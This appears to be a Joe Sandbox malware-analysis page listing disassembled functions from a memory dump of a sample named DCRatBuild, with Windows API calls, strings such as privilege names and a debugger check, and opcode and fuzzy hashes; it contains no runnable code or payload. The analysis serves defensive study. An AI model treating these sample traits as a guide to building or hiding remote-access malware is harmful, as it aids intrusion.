Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: 06a1df215a01bbfc9ecfe847a17b5fb7b669883979a3e6a2e6b3efa02b94566a
Instruction ID: f09010a84bb15eeed148adbc135653ed9ee4df3b68d65bcec7b53530c3f5fdfb
Opcode Fuzzy Hash: 06a1df215a01bbfc9ecfe847a17b5fb7b669883979a3e6a2e6b3efa02b94566a
Instruction Fuzzy Hash: 4AB011300A000A8A8E002B30CC088283A28EA22B0A30082A0A002CA0A0CF22C002AA00

Function 00FDA322 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?,00FDA587,C:\Users\user\AppData\Local\Temp,00000000,0100946A,00000006), ref: 00FDA326

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 570138cce83de63cff0645600593a01a0ea2851f4b571816527c15be1d514897
Instruction ID: c18d9e4134bff5c485c9ea975bc0ee6e2272c6fc8704f0ed009ec0c93a245d56
Opcode Fuzzy Hash: 570138cce83de63cff0645600593a01a0ea2851f4b571816527c15be1d514897
Instruction Fuzzy Hash: D4A0123019400A568A000B30CC09C2576545B60702F0086207002C00A0CB318814F500

Non-executed Functions

Function 00FDB8E0 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 286timewindowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FC130B: GetDlgItem.USER32(00000000,00003021), ref: 00FC134F
Part of subcall function 00FC130B: SetWindowTextW.USER32(00000000,00FF35B4), ref: 00FC1365

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 00FDB971
EndDialog.USER32(?,00000006), ref: 00FDB984
GetDlgItem.USER32(?,0000006C), ref: 00FDB9A0
SetFocus.USER32(00000000), ref: 00FDB9A7
SetDlgItemTextW.USER32(?,00000065,?), ref: 00FDB9E1
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 00FDBA18
FindFirstFileW.KERNEL32(?,?), ref: 00FDBA2E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00FDBA4C
FileTimeToSystemTime.KERNEL32(?,?), ref: 00FDBA5C
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00FDBA78
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00FDBA94
_swprintf.LIBCMT ref: 00FDBAC4

Part of subcall function 00FC400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00FC401D

SetDlgItemTextW.USER32(?,0000006A,?), ref: 00FDBAD7
FindClose.KERNEL32(00000000), ref: 00FDBADE
_swprintf.LIBCMT ref: 00FDBB37
SetDlgItemTextW.USER32(?,00000068,?), ref: 00FDBB4A
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 00FDBB67
FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 00FDBB87
FileTimeToSystemTime.KERNEL32(?,?), ref: 00FDBB97
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00FDBBB1
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00FDBBC9
_swprintf.LIBCMT ref: 00FDBBF5
SetDlgItemTextW.USER32(?,0000006B,?), ref: 00FDBC08
_swprintf.LIBCMT ref: 00FDBC5C
SetDlgItemTextW.USER32(?,00000069,?), ref: 00FDBC6F

Part of subcall function 00FDA63C: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00FDA662
Part of subcall function 00FDA63C: GetNumberFormatW.KERNEL32(00000400,00000000,?,00FFE600,?,?), ref: 00FDA6B1

Strings

%s %s %s, xrefs: 00FDBAB2, 00FDBBE7
REPLACEFILEDLG, xrefs: 00FDB907
%s %s, xrefs: 00FDBB29, 00FDBC4E

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLocalSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 797121971-1840816070
Opcode ID: abc43a5f23703fdf85f5143927379924e260e9fb2d471fb6087727fa40841c0f
Instruction ID: dc8b68d4e13a6fd7ff44c8e4ac1c571c9a5186a52d3163d4e2224b0935a3bd50
Opcode Fuzzy Hash: abc43a5f23703fdf85f5143927379924e260e9fb2d471fb6087727fa40841c0f
Instruction Fuzzy Hash: 9291D372548348BBD6319FA0CD49FFB77ADEB49700F04081AF789D2181DB79A604D722

Function 00FC718C Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 296fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FC7191
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,00000001), ref: 00FC72F1
CloseHandle.KERNEL32(00000000), ref: 00FC7301

Part of subcall function 00FC7BF5: GetCurrentProcess.KERNEL32(00000020,?), ref: 00FC7C04
Part of subcall function 00FC7BF5: GetLastError.KERNEL32 ref: 00FC7C4A
Part of subcall function 00FC7BF5: CloseHandle.KERNEL32(?), ref: 00FC7C59

CreateDirectoryW.KERNEL32(?,00000000,?,00000001), ref: 00FC730C
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00FC741A
DeviceIoControl.KERNEL32(00000000,000900A4,?,-00000008,00000000,00000000,?,00000000), ref: 00FC7446
CloseHandle.KERNEL32(?), ref: 00FC7457
GetLastError.KERNEL32 ref: 00FC7467
RemoveDirectoryW.KERNEL32(?), ref: 00FC74B3
DeleteFileW.KERNEL32(?), ref: 00FC74DB

Strings

\??\, xrefs: 00FC7217
SeRestorePrivilege, xrefs: 00FC71B2
SeCreateSymbolicLinkPrivilege, xrefs: 00FC71BC
UNC\, xrefs: 00FC723C

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: CloseCreateFileHandle$DirectoryErrorLast$ControlCurrentDeleteDeviceH_prologProcessRemove
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3935142422-3508440684
Opcode ID: aec569af124bdde65fa878ef6fa59b8acc0c9946cdf9c50e85464522a39f244a
Instruction ID: 1075a24734dfe6c307e0a18cc7bb9aa0572637ed35e3420fdb89fce749188952
Opcode Fuzzy Hash: aec569af124bdde65fa878ef6fa59b8acc0c9946cdf9c50e85464522a39f244a
Instruction Fuzzy Hash: 12B1E27190435AAADF24EB60CD46FEE7B78AF04304F04405DF949E7242DB78AA49EB61

Function 00FC3281 Relevance: 12.9, APIs: 4, Strings: 3, Instructions: 608COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FC328A
_memcmp.LIBVCRUNTIME ref: 00FC3377

Strings

hc%u, xrefs: 00FC367B
h%u, xrefs: 00FC362D
CMT, xrefs: 00FC3990

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: H_prolog_memcmp
String ID: CMT$h%u$hc%u
API String ID: 3004599000-3282847064
Opcode ID: 2e32d81d8d1111ea2ee8e38b9f43804d6e9a4088efd054f6b52eba045603dbd2
Instruction ID: 2e52bbbb0c7cb7f8759d6ddfaad51345fc73abc040d83f0be59add862d792874
Opcode Fuzzy Hash: 2e32d81d8d1111ea2ee8e38b9f43804d6e9a4088efd054f6b52eba045603dbd2
Instruction Fuzzy Hash: 8032B5715102869FDF14DF24CE86FEA37A5AF15340F08447EFD8A8B282DB74A949EB50

Function 00FED00E Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00FED154

Strings

1#QNAN, xrefs: 00FEE35A
1#INF, xrefs: 00FEE361
1#SNAN, xrefs: 00FEE353
1#IND, xrefs: 00FEE34C

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 063ed24fec77aeb32b2c77cf557388ea760e66957ea2486ae509c0c1a5a0b0da
Instruction ID: 33d90501d0054e8de233fda7f467194e1d30fa88a85d7d42252d36e488b4c22c
Opcode Fuzzy Hash: 063ed24fec77aeb32b2c77cf557388ea760e66957ea2486ae509c0c1a5a0b0da
Instruction Fuzzy Hash: 65C25E72E086688FDB25CF29DD407E9B7B5EB84314F1541EAD80DE7640E778AE81AF40

Function 00FC27E8 Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 794COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FC27F1
_strlen.LIBCMT ref: 00FC2D7F

Part of subcall function 00FD137A: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00FCB652,00000000,?,?,?,00010434), ref: 00FD1396

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00FC2EE0

Strings

CMT, xrefs: 00FC2F13

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: ByteCharH_prologMultiUnothrow_t@std@@@Wide__ehfuncinfo$??2@_strlen
String ID: CMT
API String ID: 1706572503-2756464174
Opcode ID: 2c155cfa0a70cf725826106e54df03f93afefd8336241d092d582d1f4a30f752
Instruction ID: d636fe959c422ee54857bee867cd5db74fce7fb0a94dace2b2108b644d571b45
Opcode Fuzzy Hash: 2c155cfa0a70cf725826106e54df03f93afefd8336241d092d582d1f4a30f752
Instruction Fuzzy Hash: 1A62E6719002468FDF19DF24CA86FEA37E1EF54314F08457EEC9A8B282DB74A945EB50

Function 00FE866F Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00FE8767
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00FE8771
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 00FE877E

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 2b4a9cb1065c8bc99a385a23f411511bde6b992300b7628d7add7fbb13c3ac33
Instruction ID: 9697c2a34f7b43f422ed9a4d5ee2c7008889ad264a5af162ebd622b25fac93ac
Opcode Fuzzy Hash: 2b4a9cb1065c8bc99a385a23f411511bde6b992300b7628d7add7fbb13c3ac33
Instruction Fuzzy Hash: C831B775D0122D9BCB21DF64DC89B9CBBB8AF08310F5441EAE80CA7261EB349F859F45

Function 00FEAAA8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

., xrefs: 00FEAC3B

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 4b30cfae6e14412c554e2d0b6544fd80576e9719a1cac489ec343d16f12975ee
Instruction ID: 5e293b8000842c382e517677c63308fc3304cbb0115bb02f1c9cd31c2f1d6022
Opcode Fuzzy Hash: 4b30cfae6e14412c554e2d0b6544fd80576e9719a1cac489ec343d16f12975ee
Instruction Fuzzy Hash: 5131E771900289AFCB249E7ACC84EFB7BBEDF85324F1401A8F519D7251E634AE45DB50

Function 00FECB60 Relevance: 3.5, APIs: 2, Instructions: 464COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f40ebe10d214b85774591126f504afcb75e73f030a81f23e755a653bb72e8d1
Instruction ID: 9e657180fc8105dfd93e18da3416b41afed6c4eff7ca72f29a3006a40fbdf284
Opcode Fuzzy Hash: 3f40ebe10d214b85774591126f504afcb75e73f030a81f23e755a653bb72e8d1
Instruction Fuzzy Hash: B6021E72E002599FDF14CFA9D8806ADBBF1FF88324F25416AE919E7344D731AD429B90

Function 00FDA63C Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00FDA662
GetNumberFormatW.KERNEL32(00000400,00000000,?,00FFE600,?,?), ref: 00FDA6B1

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: fa07ddb89dbe82488c15b6fe7c6a2dfdf2c66b0a47896b5c39ac2a3fe6593e60
Instruction ID: 268861c1d2b5331feeed32e24c25157b35cf60778e2fdd75287a18bc229c4d56
Opcode Fuzzy Hash: fa07ddb89dbe82488c15b6fe7c6a2dfdf2c66b0a47896b5c39ac2a3fe6593e60
Instruction Fuzzy Hash: 8F015A3651020CBADB218FA4EC05FABB7BDEF59710F004422BA04D72A0E3759A25DBA5

Function 00FC6EC9 Relevance: 3.0, APIs: 2, Instructions: 17windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00FD117C,?,00000200), ref: 00FC6EC9
FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,?,00000000), ref: 00FC6EEA

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: fd7d6436e4f01fdccbea99275f2564cf4ff3f20a50828068dc3325b8213b2c13
Instruction ID: dce8b760f43e7de84654cf7d233dbbe0cd5e594634c1adb47668a2208ef542ca
Opcode Fuzzy Hash: fd7d6436e4f01fdccbea99275f2564cf4ff3f20a50828068dc3325b8213b2c13
Instruction Fuzzy Hash: F2D0C7753C8307BFEA110A74CD06F377B546B55B56F108515B356D90D4C9709014F61D

Function 00FF1194 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00FF118F,?,?,00000008,?,?,00FF0E2F,00000000), ref: 00FF13C1

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: cb4599552a9b720e217aec8c1e1adc9866106e44ef215f2600c730234d505853
Instruction ID: e20c5c134ac295e17d63a93aa63bd9b58697071016b2f877e48e9bca01eee6c8
Opcode Fuzzy Hash: cb4599552a9b720e217aec8c1e1adc9866106e44ef215f2600c730234d505853
Instruction Fuzzy Hash: C1B15B32A10609DFD719CF68C48AB657BE0FF45364F298658EA99CF2B1C335E981DB40

Function 00FC407E Relevance: 1.6, Strings: 1, Instructions: 332COMMON

Download Yara Rule

Strings

gj, xrefs: 00FC40C1

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID:
String ID: gj
API String ID: 0-4203073231
Opcode ID: 8a4107021ca7ac4e824cfb527ae7f831adafea34bf9a2340a402b2d309ff5909
Instruction ID: 4bf2a14022aa4a04ee0cbf0ee7d7dd5490d09039d81f364049d7aab2478ec03d
Opcode Fuzzy Hash: 8a4107021ca7ac4e824cfb527ae7f831adafea34bf9a2340a402b2d309ff5909
Instruction Fuzzy Hash: B2F1C4B1A083418FD748CF29D880A1AFBE1BFCC208F15896EF598D7711D634E9558B56

Function 00FCACF5 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 00FCAD1A

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: e0224cf64b058ad52f0060f9a100ad7673bdbba36c1ce3fae27da7238da95f51
Instruction ID: 3ee1365e314fd4c0bc7afcf6945c610b22efb2cda2162ef4f5d534aa3106e041
Opcode Fuzzy Hash: e0224cf64b058ad52f0060f9a100ad7673bdbba36c1ce3fae27da7238da95f51
Instruction Fuzzy Hash: CCF0F9B1D0021C8BC728CB18E942BE977A5BB58715F200299E91643758D776A940EF51

Function 00FDF063 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001F070,00FDEAC5), ref: 00FDF068

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 88a0a9a3103f1ff4f3c5d5440e812232b9e35b4ca4c56f10062b9a5edfd9d5df
